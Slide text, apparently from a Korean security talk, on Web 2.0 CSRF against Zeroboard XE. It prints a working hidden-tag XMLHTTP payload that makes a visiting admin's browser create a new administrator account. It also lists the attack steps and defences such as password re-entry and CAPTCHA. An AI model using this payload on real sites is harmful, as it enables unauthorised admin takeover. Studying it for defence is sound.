5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격원리 앞서 AJAX 코드를그대로 write 할경우, 오류가발생한다. 그이유는 CDATA 섹션을통해전달되는데이터에 ]]> 와같은코드가들어오기때문인데이는다음과같은문제점이발생한다. 정상적인형식 : <content><![cdata[ 게시물내용 ]]></content> 비정상적인형식 : <content><![cdata[ 게시물 ]]> 내용 ]]></content> 위와같이요청하면 ]]> 를 CDATA 섹션의끝으로인식하면서 게시물 까지만데이터로인식하고 ]]> 뒤의 내용 이라는데이터가남게되므로엘리먼트는엉망이되어버린다. 다음공격코드는이러한문제점을말끔히해결해줄것이다. <INPUT type=image width=0 height=0 dynsrc="javascript:var xmlhttp=new ActiveX Object('Microsoft.XMLHTTP');xmlhttp.open('POST','/~board/',true);xmlhttp.send(& #x22<?xml version='1.0' encoding='utf-8'?>\r\n<methodcall>\r\n<params>\r\n <member_srl><![cdata[87]&#00013]></member_srl>\r\n<user_id><![cdata[x0 x]&#00013]></user_id>\r\n<user_name><![cdata[x0x]&#00013]></user_name>\r\n <nick_name><![cdata[x0x]&#00013]></nick_name>\r\n<email_address><![cdata [x0x@x0x.x0x]&#00013]></email_address>\r\n<is_admin><![cdata[y]&#00013]> </is_admin>\r\n<group_srl_list><![cdata[1]&#00013]></group_srl_list>\r\n<m odule><![cdata[member]&#00013]></module>\r\n<act><![cdata[procmemberad mininsert]&#00013]></act>\r\n</params>\r\n</methodcall>&#x22);"> 문제점해결을위해개행문자캐리지리턴 (CR) 코드를 10 진수의엑추얼캐릭터로만들어넣었다. 이렇게엑추얼캐릭터를통해 CDATA 섹션에데이터를입력할경우엘리먼트형식이망가지는것을방지할수있다.

5. Web 2.0 CSRF 공격기법 - Web 2.0 CSRF (Cross site Request Forgeries) 공격순서 1) 권한수행시웹서버로전달되는요청문을추출한다. 2) 추출한요청문을 AJAX 코드 (XMLHTTP) 로작성한다. 3) 작성한공격태그를원하는클라이언트브라우저에서실행될수있도록대상사용자의접근을유도한다. 4) 사용자가공격태그를브라우저에서실행시키면해커가원하는요청문이수행된다. 5) Cookie 나 Session Key 에대한직접적인접근없이도악의적인해커에게권한이넘어간다. - Web 2.0 CSRF (Cross site Request Forgeries) 보안방법 서비스페이지내에권한을사용하는중요한 action 에대해서는반드시암호를함께입력하여수행할수있도록변경한다. ( 예 : 사용자정보변경기능, 탈퇴기능, 관리자정보변경기능, 관리자권한사용기능등 ) * 추가 : CAPTCHA, recaptcha,, MAPTCHA, asirra 를통해보안적용이가능.

5. Web 2.0 CSRF 보안방법

- Demonstration of Web 2.0 CSRF exploitation - Zero board XE -1day Remote POC exploit (0x82-zer0XE_CSRF.c) + Bonus stage

- The End - Thanks for listening. By "dong-houn you" (Xpl017Elz), in INetCop(c). MSN & E-mail: szoahc(at)hotmail(dot)com Home: http://x82.inetcop.org